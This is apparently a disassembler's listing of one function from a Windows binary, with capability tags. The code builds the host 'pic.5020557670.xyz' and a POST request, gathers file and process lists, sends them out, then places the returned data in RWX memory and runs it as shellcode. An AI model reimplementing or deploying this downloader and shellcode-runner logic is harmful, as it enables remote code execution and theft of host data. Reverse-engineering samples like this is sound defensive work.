Function at 0x140002890
Capabilities:
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Print debug messages

Disassembly:
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x510
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x98], 0xfffffffffffffffe
mov qword [rbp + 0x500], rbx
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], rdi
mov rax, qword [0x1400180a8]
xor rax, rbp
mov qword [rbp + 0x4c0], rax
xor ecx, ecx
call fcn.140006004
mov edx, 0x70
mov word [rbp + 0x498], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x69
mov word [rbp + 0x49a], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x63
mov word [rbp + 0x49c], dx
xor ecx, ecx
call fcn.140006004
mov esi, 0x2e
mov word [rbp + 0x49e], si
xor ecx, ecx
call fcn.140006004
mov edi, 0x35
mov word [rbp + 0x4a0], di
xor ecx, ecx
call fcn.140006004
mov ebx, 0x30
mov word [rbp + 0x4a2], bx
xor ecx, ecx
call fcn.140006004
mov edx, 0x32
mov word [rbp + 0x4a4], dx
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x4a6], bx
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x4a8], di
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x4aa], di
xor ecx, ecx
call fcn.140006004
mov edi, 0x37
mov word [rbp + 0x4ac], di
xor ecx, ecx
call fcn.140006004
mov edx, 0x36
mov word [rbp + 0x4ae], dx
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x4b0], di
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x4b2], bx
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x4b4], si
xor ecx, ecx
call fcn.140006004
mov edx, 0x78
mov word [rbp + 0x4b6], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x79
mov word [rbp + 0x4b8], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x7a
mov word [rbp + 0x4ba], dx
xor ecx, ecx
call fcn.140006004
xor r15d, r15d
mov word [rbp + 0x4bc], r15w
xor ecx, ecx
call fcn.140006004
mov edx, 0x50
mov word [rbp + 0x488], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x4f
mov word [rbp + 0x48a], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x53
mov word [rbp + 0x48c], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x54
mov word [rbp + 0x48e], dx
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x490], r15w
xor ecx, ecx
call fcn.140006004
mov edx, 0x2f
mov word [rbp + 0x480], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x47
mov word [rbp + 0x482], dx
xor ecx, ecx
call fcn.140006004
mov edx, 0x3f
mov word [rbp + 0x484], dx
xor ecx, ecx
call fcn.140006004
mov word [rbp + 0x486], r15w
mov qword [rbp + 0x180], 7
mov qword [rbp + 0x178], r15
mov word [rbp + 0x168], r15w
xor eax, eax
or r12, 0xffffffffffffffff
mov rcx, r12
lea rdi, [rbp + 0x480]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x168]
call fcn.140004f70
nop
xor ecx, ecx
call fcn.1400063a0
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140001120
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rsi, r12
cmp rcx, r12
cmovb rsi, rcx
mov rcx, r12
mov rdx, qword [rbp + 0x178]
sub rcx, rdx
cmp rcx, rsi
ja 0x140002b52
lea rcx, str.string_too_long
call fcn.140005910
int3
test rsi, rsi
je 0x140002c26
lea rdi, [rdx + rsi]
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
jbe 0x140002b7b
lea rcx, str.string_too_long
call fcn.140005910
int3
mov rcx, qword [rbp + 0x180]
cmp rcx, rdi
jae 0x140002b9b
mov r8, rdx
mov rdx, rdi
lea rcx, [rbp + 0x168]
call fcn.140005620
jmp 0x140002bbe
test rdi, rdi
jne 0x140002bcf
mov qword [rbp + 0x178], r15
lea rax, [rbp + 0x168]
cmp rcx, 8
cmovae rax, qword [rbp + 0x168]
mov word [rax], r15w
mov rdx, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
test rdi, rdi
setne al
test al, al
je 0x140002c26
cmp qword [rbx + 0x18], 8
jb 0x140002be0
mov rbx, qword [rbx]
lea rax, [rbp + 0x168]
cmp rcx, 8
cmovae rax, qword [rbp + 0x168]
lea rcx, [rax + rdx*2]
lea r8, [rsi + rsi]
mov rdx, rbx
call fcn.140005c10
mov qword [rbp + 0x178], rdi
lea rax, [rbp + 0x168]
cmp qword [rbp + 0x180], 8
cmovae rax, qword [rbp + 0x168]
mov word [rax + rdi*2], r15w
cmp qword [rbp + 0x108], 8
jb 0x140002c3c
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
mov rsi, r15
mov qword [rbp + 0x78], r15
mov rdi, r15
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], r15
lea rdx, [rbp + 0x230]
lea rcx, [0x14001a4c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x140002c8c
mov r8, rax
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x78]
call fcn.140002140
mov rdi, qword [rbp + 0x80]
mov rsi, qword [rbp + 0x78]
mov r12, r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x58], r15
mov r14, r15
mov qword [rbp + 8], r15
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r15
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
test rax, rax
je 0x140002cd2
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.140002370
mov r14, qword [rbp + 0x60]
mov qword [rbp + 8], r14
mov r12, qword [rbp + 0x58]
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x1a8], 0xf
mov qword [rbp + 0x1a0], r15
mov byte [rbp + 0x190], 0
sub rdi, rsi
movabs rax, 0x6666666666666667
imul rdi
mov r13, rdx
sar r13, 4
mov rax, r13
shr rax, 0x3f
movabs rbx, 0xffffffffffffff0
add r13, rax
je 0x140002dff
or r14, 0xffffffffffffffff
mov r12, rbx
cmp qword [rsi + 0x18], 8
jb 0x140002d2f
mov rdi, qword [rsi]
jmp 0x140002d32
mov rdi, rsi
test rdi, rdi
je 0x140002da8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x140002da8
movsxd rax, edx
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x140002d5d
mov rcx, r12
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14000def0
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x140002da8
mov byte [rbx], 0
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rdi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r15
jmp 0x140002dab
mov rbx, r15
xor eax, eax
mov rcx, r14
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rbp + 0x190]
call fcn.140004850
mov r8d, 1
lea rdx, [0x140015848]
mov rcx, rax
call fcn.140004850
add rsi, 0x28
dec r13
jne 0x140002d23
mov r12, qword [rbp + 0x10]
mov r14, qword [rbp + 8]
movabs rbx, 0xffffffffffffff0
sub r14, r12
movabs rax, 0x6666666666666667
imul r14
mov rsi, rdx
sar rsi, 4
mov rax, rsi
shr rax, 0x3f
add rsi, rax
je 0x140002f0b
or r13, 0xffffffffffffffff
nop word [rax + rax]
cmp qword [r12 + 0x18], 8
jb 0x140002e3e
mov rdi, qword [r12]
jmp 0x140002e41
mov rdi, r12
test rdi, rdi
je 0x140002ebc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x140002ebc
movsxd rax, edx
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x140002e6c
mov rcx, rbx
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14000def0
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x140002ebc
mov byte [rbx], 0
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
or r9d, 0xffffffff
mov r8, rdi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r15
or r13, 0xffffffffffffffff
jmp 0x140002ebf
mov rbx, r15
xor eax, eax
mov rcx, r13
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rbp + 0x190]
call fcn.140004850
mov r8d, 1
lea rdx, [0x140015848]
mov rcx, rax
call fcn.140004850
add r12, 0x28
dec rsi
movabs rbx, 0xffffffffffffff0
jne 0x140002e30
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0x10
cmovae rdx, qword [rbp + 0x190]
mov r8d, dword [rbp + 0x1a0]
lea rcx, [rbp + 0x208]
call fcn.1400011c0
nop
call fcn.1400026c0
mov qword [rbp + 0xb8], 0xf
mov qword [rbp + 0xb0], r15
mov byte [rbp + 0xa0], 0
mov rbx, r15
nop word [rax + rax]
lea rcx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rcx, qword [rbp + 0x208]
lea r8, [rbp + 0x168]
cmp qword [rbp + 0x180], 8
cmovae r8, qword [rbp + 0x168]
mov eax, dword [rbp + 0x218]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x488]
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0xf0]
call fcn.140001da0
mov rdi, rax
lea rax, [rbp + 0xa0]
cmp rax, rdi
je 0x14000303f
cmp qword [rbp + 0xb8], 0x10
jb 0x140002fdc
mov rcx, qword [rbp + 0xa0]
call fcn.1400059f8
mov qword [rbp + 0xb8], 0xf
mov qword [rbp + 0xb0], r15
mov byte [rbp + 0xa0], 0
cmp qword [rdi + 0x18], 0x10
jae 0x140003014
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rbp + 0xa0]
call fcn.140005c10
jmp 0x140003021
mov rax, qword [rdi]
mov qword [rbp + 0xa0], rax
mov qword [rdi], r15
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0xb0], rax
mov rax, qword [rdi + 0x18]
mov qword [rbp + 0xb8], rax
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
cmp qword [rbp + 0x108], 0x10
jb 0x140003055
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
cmp qword [rbp + 0xb0], 0x400
ja 0x14000306f
inc rbx
cmp rbx, 5
jb 0x140002f60
mov qword [rbp + 0x1d0], 0xf
mov qword [rbp + 0x1c8], r15
mov byte [rbp + 0x1b8], 0
xor eax, eax
or rsi, 0xffffffffffffffff
mov rcx, rsi
lea rdi, [0x14001a504]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [0x14001a504]
lea rcx, [rbp + 0x1b8]
call fcn.140004a10
nop
mov qword [rbp + 0x1f8], 0xf
mov qword [rbp + 0x1f0], r15
mov byte [rbp + 0x1e0], 0
xor eax, eax
mov rcx, rsi
lea rdi, [0x14001a51c]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [0x14001a51c]
lea rcx, [rbp + 0x1e0]
call fcn.140004a10
nop
lea rbx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0x10
cmovae rbx, qword [rbp + 0x1b8]
mov r12, qword [rbp + 0xb8]
mov r13, qword [rbp + 0xa0]
mov r14, qword [rbp + 0x1c8]
mov rdi, qword [rbp + 0xb0]
test r14, r14
jne 0x140003143
mov rsi, rdi
cmp rdi, 0xffffffffffffffff
mov r8, 0xffffffffffffffff
cmova rsi, r8
jmp 0x1400031bc
cmp r14, rdi
ja 0x1400031b5
mov rcx, rdi
sub rcx, r14
cmp rcx, 0xffffffffffffffff
cmova rcx, rsi
lea rsi, [rbp + 0xa0]
cmp r12, 0x10
cmovae rsi, r13
add rsi, rcx
movzx r15d, byte [rbx]
nop dword [rax]
cmp byte [rsi], r15b
jne 0x140003187
mov r8, r14
mov rdx, rbx
mov rcx, rsi
call fcn.14000cd20
test eax, eax
je 0x14000319d
lea rcx, [rbp + 0xa0]
call fcn.140004b40
cmp rsi, rax
je 0x1400031b5
dec rsi
jmp 0x140003170
lea rax, [rbp + 0xa0]
cmp r12, 0x10
cmovae rax, r13
sub rsi, rax
or r8, 0xffffffffffffffff
jmp 0x1400031bc
or r8, 0xffffffffffffffff
mov rsi, r8
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0x10
cmovae rdx, qword [rbp + 0x1e0]
mov qword [rbp + 8], rdx
mov r15, qword [rbp + 0x1f0]
test r15, r15
jne 0x1400031f3
mov rbx, rdi
cmp rdi, 0xffffffffffffffff
cmova rbx, r8
jmp 0x140003270
cmp r15, rdi
ja 0x14000326d
mov rcx, rdi
sub rcx, r15
cmp rcx, 0xffffffffffffffff
cmova rcx, r8
lea rax, [rbp + 0xa0]
cmp r12, 0x10
cmovae rax, r13
lea rbx, [rax + rcx]
movzx eax, byte [rdx]
mov byte [rbp], al
nop
cmp byte [rbx], al
jne 0x140003233
mov r8, r15
mov rcx, rbx
call fcn.14000cd20
test eax, eax
je 0x140003251
lea rcx, [rbp + 0xa0]
call fcn.140004b40
cmp rbx, rax
je 0x140003269
dec rbx
mov rdx, qword [rbp + 8]
movzx eax, byte [rbp]
jmp 0x140003220
lea rax, [rbp + 0xa0]
cmp r12, 0x10
cmovae rax, r13
sub rbx, rax
or r8, 0xffffffffffffffff
jmp 0x140003270
or r8, 0xffffffffffffffff
mov rbx, r8
cmp rsi, 0xffffffffffffffff
je 0x14000353a
cmp rbx, 0xffffffffffffffff
je 0x14000353a
cmp rbx, rsi
jbe 0x14000353a
lea rdx, [rbp + 0xa0]
cmp r12, 0x10
cmovae rdx, r13
add rdx, rsi
add rdx, r14
xor eax, eax
mov rcx, r8
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0xa0]
call fcn.140004a10
sub rbx, rsi
sub rbx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0xb0]
or rsi, 0xffffffffffffffff
cmp r8, rbx
jb 0x140003358
sub r8, rbx
cmp r8, rsi
jae 0x1400032ed
mov rsi, r8
test r8, r8
je 0x140003448
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb8]
cmp rax, 0x10
cmovae rdx, rcx
lea rdi, [rbp + 0xa0]
cmovae rdi, rcx
sub r8, rsi
add rdx, rbx
add rdx, rsi
lea rcx, [rbx + rdi]
call fcn.140005c10
mov rdx, qword [rbp + 0xb0]
sub rdx, rsi
mov qword [rbp + 0xb0], rdx
lea rax, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rax, qword [rbp + 0xa0]
mov byte [rax + rdx], 0
jmp 0x140003448
sub rbx, r8
mov rax, rsi
sub rax, r8
cmp rax, rbx
ja 0x140003373
lea rcx, str.string_too_long
call fcn.140005910
int3
test rbx, rbx
je 0x14000344c
lea rdi, [r8 + rbx]
cmp rdi, 0xfffffffffffffffe
jbe 0x140003393
lea rcx, str.string_too_long
call fcn.140005910
int3
mov rcx, qword [rbp + 0xb8]
cmp rcx, rdi
jae 0x1400033b0
mov rdx, rdi
lea rcx, [rbp + 0xa0]
call fcn.140005480
jmp 0x1400033d2
test rdi, rdi
jne 0x1400033e3
mov qword [rbp + 0xb0], rdi
lea rax, [rbp + 0xa0]
cmp rcx, 0x10
cmovae rax, qword [rbp + 0xa0]
mov byte [rax], dil
mov r8, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xb8]
test rdi, rdi
setne al
test al, al
je 0x14000344c
lea rax, [rbp + 0xa0]
cmp rbx, 1
jne 0x14000340a
cmp rcx, 0x10
cmovae rax, qword [rbp + 0xa0]
mov byte [rax + r8], 0
jmp 0x140003424
cmp rcx, 0x10
cmovae rax, qword [rbp + 0xa0]
lea rcx, [rax + r8]
mov r8, rbx
xor edx, edx
call fcn.140006eb0
mov qword [rbp + 0xb0], rdi
lea rax, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rax, qword [rbp + 0xa0]
mov byte [rax + rdi], 0
jmp 0x14000344c
or rsi, 0xffffffffffffffff
mov qword [rbp + 0x158], 0xf
xor r15d, r15d
mov qword [rbp + 0x150], r15
mov byte [rbp + 0x140], r15b
mov r9, rsi
xor r8d, r8d
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x140]
call fcn.140004950
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xf0]
call fcn.140001af0
nop
mov rdx, qword [rbp + 0x100]
add rdx, 0x400
xor ecx, ecx
lea r9d, [r15 + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000350d
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
mov rcx, rax
call fcn.140005c10
lea rcx, [0x14001a6c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [0x14001a658]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call rax
nop
cmp qword [rbp + 0x108], 0x10
jb 0x140003523
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
mov r12, qword [rbp + 0xb8]
mov rdi, qword [rbp + 0xb0]
mov r13, qword [rbp + 0xa0]
jmp 0x140003541
xor r15d, r15d
or rsi, 0xffffffffffffffff
mov r14d, r15d
mov dword [rbp + 0x10], r15d
mov rcx, r15
test rdi, rdi
je 0x140003572
lea rax, [rbp + 0xa0]
cmp r12, 0x10
cmovae rax, r13
movsx eax, byte [rax + rcx]
or r14d, eax
inc rcx
cmp rcx, rdi
jb 0x140003550
mov dword [rbp + 0x10], r14d
mov edx, r14d
lea rcx, [rbp + 0xf0]
call fcn.140001090
nop
mov r9, rsi
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140004770
nop
cmp qword [rbp + 0x108], 0x10
jb 0x1400035ae
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
xor r8d, r8d
lea rdx, [0x14001a6b8]
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000449a
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [0x14001a6b8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rbx, r15
mov qword [rbp + 0x38], rbx
mov rdi, r15
mov qword [rbp + 0x40], r15
mov r12, r15
mov qword [rbp + 0x48], r15
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8d, dword [rbp + 0xb0]
lea rcx, [rbp + 0x140]
call fcn.1400011c0
nop
mov r13, r15
cmp qword [rbp + 0x150], 0
jbe 0x14000378d
nop dword [rax + rax]
lea rax, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rax, qword [rbp + 0x140]
movzx esi, byte [rax + r13]
mov byte [rbp], sil
mov ecx, esi
call fcn.140006004
test eax, eax
jne 0x14000367b
cmp sil, 0x2b
je 0x14000367b
cmp sil, 0x2f
jne 0x14000375e
lea rax, [rbp]
cmp rax, rdi
jae 0x1400036fa
lea rax, [rbp]
cmp rbx, rax
ja 0x1400036fa
lea rsi, [rbp]
sub rsi, rbx
cmp rdi, r12
jne 0x1400036ed
mov rcx, rdi
sub rcx, rbx
cmp rcx, 0xfffffffffffffffe
ja 0x14000376f
inc rcx
mov rdx, r12
sub rdx, rbx
cmp rcx, rdx
jbe 0x1400036ed
mov rdi, rdx
shr rdi, 1
or rax, 0xffffffffffffffff
sub rax, rdi
cmp rax, rdx
jae 0x1400036ce
mov rdx, r15
jmp 0x1400036d1
add rdx, rdi
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x38]
call fcn.140005390
mov r12, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
test rdi, rdi
je 0x140003757
movzx eax, byte [rsi + rbx]
mov byte [rdi], al
jmp 0x140003757
cmp rdi, r12
jne 0x14000374f
mov rcx, rdi
sub rcx, rbx
cmp rcx, 0xfffffffffffffffe
ja 0x14000377c
inc rcx
mov rdx, r12
sub rdx, rbx
cmp rcx, rdx
jbe 0x14000374f
mov rdi, rdx
shr rdi, 1
or rax, 0xffffffffffffffff
sub rax, rdi
cmp rax, rdx
jae 0x140003730
mov rdx, r15
jmp 0x140003733
add rdx, rdi
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x38]
call fcn.140005390
mov r12, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
test rdi, rdi
je 0x140003757
mov byte [rdi], sil
inc rdi
mov qword [rbp + 0x40], rdi
inc r13
cmp r13, qword [rbp + 0x150]
jae 0x140003789
jmp 0x140003640
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
or rsi, 0xffffffffffffffff
mov edx, 0xf
mov qword [rbp + 0x130], rdx
mov rcx, r15
mov qword [rbp + 0x128], rcx
mov byte [rbp + 0x118], 0
mov r13, r15
mov r8, rdi
sub r8, rbx
mov qword [rbp + 8], r8
je 0x1400038c0
nop dword [rax]
movzx r15d, byte [rbx + r13]
mov rax, rsi
sub rax, rcx
cmp rax, 1
jbe 0x1400038b3
lea rsi, [rcx + 1]
cmp rsi, 0xfffffffffffffffe
ja 0x1400038a6
cmp rdx, rsi
jae 0x140003800
mov r8, rcx
mov rdx, rsi
lea rcx, [rbp + 0x118]
call fcn.140005480
mov r8, qword [rbp + 8]
jmp 0x140003822
test rsi, rsi
jne 0x140003833
mov qword [rbp + 0x128], rsi
lea rax, [rbp + 0x118]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0x118]
mov byte [rax], sil
mov rcx, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x130]
test rsi, rsi
setne al
test al, al
je 0x140003881
lea rax, [rbp + 0x118]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0x118]
mov byte [rcx + rax], r15b
mov qword [rbp + 0x128], rsi
lea rax, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rax, qword [rbp + 0x118]
mov byte [rsi + rax], 0
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x128]
inc r13
cmp r13, r8
mov rsi, 0xffffffffffffffff
jb 0x1400037c0
xor r15d, r15d
cmp rdx, 0x10
jb 0x1400038c0
mov rcx, qword [rbp + 0x118]
jmp 0x1400038c7
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov r11, r15
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x140003913
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xa0]
nop word [rax + rax]
lea rax, [rbp + 0xa0]
cmp rdx, 0x10
cmovae rax, r8
movsx eax, byte [rax + r11]
or r14d, eax
inc r11
cmp r11, rcx
jb 0x1400038f0
mov dword [rbp + 0x10], r14d
mov edx, r14d
lea rcx, [rbp + 0xf0]
call fcn.140001090
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140004770
nop
cmp qword [rbp + 0x108], 0x10
jb 0x140003950
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
xor r8d, r8d
lea rdx, [0x14001a6b8]
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140003cde
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [0x14001a6b8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov r13, r15
mov qword [rbp + 0x18], r15
mov rsi, r15
mov qword [rbp + 0x20], r15
mov r14, r15
mov qword [rbp + 0x28], r15
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8d, dword [rbp + 0xb0]
lea rcx, [rbp + 0xf0]
call fcn.1400011c0
nop
mov rcx, r15
mov qword [rbp + 8], rcx
cmp qword [rbp + 0x100], 0
jbe 0x140003b34
nop
lea rax, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rax, qword [rbp + 0xf0]
movzx r15d, byte [rax + rcx]
mov byte [rbp], r15b
mov ecx, r15d
call fcn.140006004
test eax, eax
jne 0x140003a1c
cmp r15b, 0x2b
je 0x140003a1c
cmp r15b, 0x2f
jne 0x140003afe
lea rax, [rbp]
cmp rax, rsi
jae 0x140003a9b
lea rax, [rbp]
cmp r13, rax
ja 0x140003a9b
lea r15, [rbp]
sub r15, r13
cmp rsi, r14
jne 0x140003a8d
mov rcx, rsi
sub rcx, r13
cmp rcx, 0xfffffffffffffffe
ja 0x140003b17
inc rcx
mov rdx, r14
sub rdx, r13
cmp rcx, rdx
jbe 0x140003a8d
mov r8, rdx
shr r8, 1
or rax, 0xffffffffffffffff
sub rax, r8
cmp rax, rdx
jae 0x140003a6e
xor edx, edx
jmp 0x140003a71
add rdx, r8
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x18]
call fcn.140005390
mov r14, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
mov r13, qword [rbp + 0x18]
test rsi, rsi
je 0x140003af7
movzx eax, byte [r15 + r13]
mov byte [rsi], al
jmp 0x140003af7
cmp rsi, r14
jne 0x140003aef
mov rcx, rsi
sub rcx, r13
cmp rcx, 0xfffffffffffffffe
ja 0x140003b24
inc rcx
mov rdx, r14
sub rdx, r13
cmp rcx, rdx
jbe 0x140003aef
mov r8, rdx
shr r8, 1
or rax, 0xffffffffffffffff
sub rax, r8
cmp rax, rdx
jae 0x140003ad0
xor edx, edx
jmp 0x140003ad3
add rdx, r8
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x18]
call fcn.140005390
mov r14, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
mov r13, qword [rbp + 0x18]
test rsi, rsi
je 0x140003af7
mov byte [rsi], r15b
inc rsi
mov qword [rbp + 0x20], rsi
mov rcx, qword [rbp + 8]
inc rcx
mov qword [rbp + 8], rcx
cmp rcx, qword [rbp + 0x100]
jae 0x140003b31
jmp 0x1400039e0
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
xor r15d, r15d
mov edx, 0xf
mov qword [rbp + 0xe0], rdx
mov rcx, r15
mov qword [rbp + 0xd8], rcx
mov byte [rbp + 0xc8], 0
sub rsi, r13
je 0x140003c5e
nop word [rax + rax]
movzx r8d, byte [r13 + r15]
mov byte [rbp], r8b
or rax, 0xffffffffffffffff
sub rax, rcx
cmp rax, 1
jbe 0x140003c51
lea r14, [rcx + 1]
cmp r14, 0xfffffffffffffffe
ja 0x140003c44
cmp rdx, r14
jae 0x140003ba7
mov r8, rcx
mov rdx, r14
lea rcx, [rbp + 0xc8]
call fcn.140005480
movzx r8d, byte [rbp]
jmp 0x140003bc9
test r14, r14
jne 0x140003bda
mov qword [rbp + 0xd8], r14
lea rax, [rbp + 0xc8]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0xc8]
mov byte [rax], r14b
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe0]
test r14, r14
setne al
test al, al
je 0x140003c29
lea rax, [rbp + 0xc8]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0xc8]
mov byte [rcx + rax], r8b
mov qword [rbp + 0xd8], r14
lea rax, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rax, qword [rbp + 0xc8]
mov byte [r14 + rax], 0
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
inc r15
cmp r15, rsi
jb 0x140003b60
cmp rdx, 0x10
jb 0x140003c5e
mov rcx, qword [rbp + 0xc8]
jmp 0x140003c65
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
cmp qword [rbp + 0xe0], 0x10
jb 0x140003c82
mov rcx, qword [rbp + 0xc8]
call fcn.1400059f8
mov qword [rbp + 0xe0], 0xf
xor r15d, r15d
mov qword [rbp + 0xd8], r15
mov byte [rbp + 0xc8], r15b
cmp qword [rbp + 0x108], 0x10
jb 0x140003cb4
